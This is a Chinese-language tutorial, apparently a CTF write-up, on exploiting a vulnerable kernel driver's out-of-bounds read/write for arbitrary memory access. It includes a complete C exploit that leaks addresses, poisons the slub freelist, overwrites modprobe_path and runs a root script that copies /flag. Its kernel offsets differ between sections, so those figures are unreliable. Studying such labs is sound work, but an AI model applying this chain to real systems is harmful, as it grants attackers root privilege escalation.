Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory
字数 1355 2025-08-03 16:49:42
Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory 教学文档
1. 漏洞概述
RW Any Memory(任意内存读写)漏洞通常由以下原因导致:
- 越界读写
- 错误引用指针操作
这种漏洞允许攻击者:
- 修改程序的常规读写区域
- 改变程序执行流程
- 最终实现权限提升
2. 前置知识
2.1 modprobe_path
modprobe_path 是内核中一个重要的字符串指针:
- 指向内核在运行未知文件类型时执行的二进制文件路径
- 默认值为 "/sbin/modprobe"
- 当内核运行错误格式的文件时,会调用此路径指向的二进制文件
关键特性:
- 可通过
/proc/kallsyms查看地址:cat /proc/kallsyms | grep modprobe_path - 修改此指针可让内核以 root 权限执行任意二进制文件
相关内核代码:
int __request_module(bool wait, const char *fmt, ...) {
// ...
char *argv[] = { modprobe_path, "-q", "--", module_name, NULL };
static char *envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
// ...
ret = call_usermodehelper(modprobe_path, argv, envp, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
// ...
}
2.2 mod_tree
mod_tree 是包含模块指针的内存区域:
- 可用于泄露模块基地址
- 当堆或栈中没有找到模块地址时特别有用
- 查看方法:
grep mod_tree /proc/kallsyms
3. 漏洞分析
3.1 驱动数据结构
驱动使用以下结构体作为交互接口:
struct heap {
size_t id;
size_t *data;
size_t len;
size_t offset;
};
3.2 功能分析
驱动提供四个主要功能:
-
cin_kernel:
- 从用户态写入指定长度数据到内核
- 存在越界写漏洞(offset可为负数)
-
cout_kernel:
- 从内核读取指定长度数据到用户态
- 存在越界读漏洞(offset可为负数)
-
delete:
- 删除pool数组中的内容
-
alloc:
- 申请内存并将地址和大小存入pool数组
3.3 漏洞利用关键点
- pool数组位于驱动的.bss段
- 通过负数offset实现向上越界读写
- 利用slub分配器特性(类似fastbin)控制分配
4. 利用思路
4.1 泄露内核地址
- 通过越界读取堆上方0x200偏移处的数据
- 计算得到内核基地址和mod_tree地址
cout_kernel(0,mem,0x200,-0x200);
kernel_addr = *((size_t *)mem) - 0x8472c0;
mod_tree_addr = kernel_addr + 0x811000;
4.2 泄露模块地址
- 修改slub分配器的fd指针指向mod_tree地址
- 分配内存获取mod_tree内容
- 计算得到模块基地址和pool地址
*((size_t *)mem) = mod_tree_addr + 0x50;
cin_kernel(4,mem,0x100,-0x100);
alloc(5,mem,0x100);
alloc(6,mem,0x100);
cout_kernel(6,mem,0x40,-0x40);
ko_addr = *((size_t *)mem) - 0x2338;
pool_addr = ko_addr + 0x2400;
4.3 获取任意读写能力
- 劫持pool数组控制权
- 通过修改pool数组实现任意地址读写
delete(2);
delete(5);
*((size_t *)mem) = pool_addr + 0xc0;
cin_kernel(4,mem,0x100,-0x100);
alloc(7,mem,0x100);
alloc(8,mem,0x100);
4.4 利用modprobe_path提权
- 修改modprobe_path指向自定义脚本
- 创建触发脚本和错误格式文件
- 执行错误格式文件触发root权限命令
*((size_t *)mem) = kernel_addr + 0x03f960; // modprobe_path地址
*((size_t *)(mem+0x8)) = 0x100;
cin_kernel(8,mem,0x10,0);
strncpy(mem,"/home/pwn/copy.sh\0",18);
cin_kernel(0xc,mem,18,0);
// 准备脚本和触发文件
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/sir");
system("chmod +x /home/pwn/sir");
// 触发执行
system("/home/pwn/sir");
5. 完整EXP分析
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
struct heap{
size_t id;
size_t *data;
size_t len;
size_t offset;
};
int fd;
void alloc(int id, char *data, size_t len){...}
void delete(int id){...}
void cin_kernel(int id, char *data, size_t len, size_t offset){...}
void cout_kernel(int id, char *data, size_t len, size_t offset){...}
int main(){
fd = open("/dev/hackme",0);
size_t heap_addr,kernel_addr,mod_tree_addr,ko_addr,pool_addr;
char *mem = malloc(0x1000);
// 初始化堆布局
memset(mem,'A',0x100);
alloc(0,mem,0x100);
alloc(1,mem,0x100);
alloc(2,mem,0x100);
alloc(3,mem,0x100);
alloc(4,mem,0x100);
// 泄露堆地址
delete(1);
delete(3);
cout_kernel(4,mem,0x100,-0x100);
heap_addr = *((size_t *)mem) - 0x100;
// 泄露内核地址
cout_kernel(0,mem,0x200,-0x200);
kernel_addr = *((size_t *)mem) - 0x0472c0;
mod_tree_addr = kernel_addr + 0x011000;
// 泄露模块地址
memset(mem,'B',0x100);
*((size_t *)mem) = mod_tree_addr + 0x50;
cin_kernel(4,mem,0x100,-0x100);
memset(mem,'C',0x100);
alloc(5,mem,0x100);
alloc(6,mem,0x100);
cout_kernel(6,mem,0x40,-0x40);
ko_addr = *((size_t *)mem) - 0x2338;
pool_addr = ko_addr + 0x2400;
// 获取任意读写能力
delete(2);
delete(5);
memset(mem,'D',0x100);
*((size_t *)mem) = pool_addr + 0xc0;
cin_kernel(4,mem,0x100,-0x100);
alloc(7,mem,0x100);
alloc(8,mem,0x100);
// 修改modprobe_path提权
*((size_t *)mem) = kernel_addr + 0x03f960;
*((size_t *)(mem+0x8)) = 0x100;
cin_kernel(8,mem,0x10,0);
strncpy(mem,"/home/pwn/copy.sh\0",18);
cin_kernel(0xc,mem,18,0);
// 准备提权脚本
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/sir");
system("chmod +x /home/pwn/sir");
// 触发执行
system("/home/pwn/sir");
system("cat /home/pwn/flag");
return 0;
}
6. 注意事项
- 路径问题:system()中的命令必须使用绝对路径
- 偏移计算:不同内核版本偏移可能不同,需根据实际情况调整
- 环境准备:需要提前准备好触发脚本和错误格式文件
- 权限问题:确保脚本有执行权限
- 替代方案:除了modprobe_path,还可以考虑修改cred结构体或劫持VDSO
7. 总结
通过本案例我们学习了:
- 如何利用越界读写漏洞实现任意内存访问
- 通过slub分配器特性控制内存分配
- 利用modprobe_path机制实现权限提升
- 内核地址泄露和计算的方法
- 完整的漏洞利用链构建过程
这种技术虽然强大,但在实际应用中需要考虑内核版本差异和防护机制(如KASLR、SMEP等)的影响。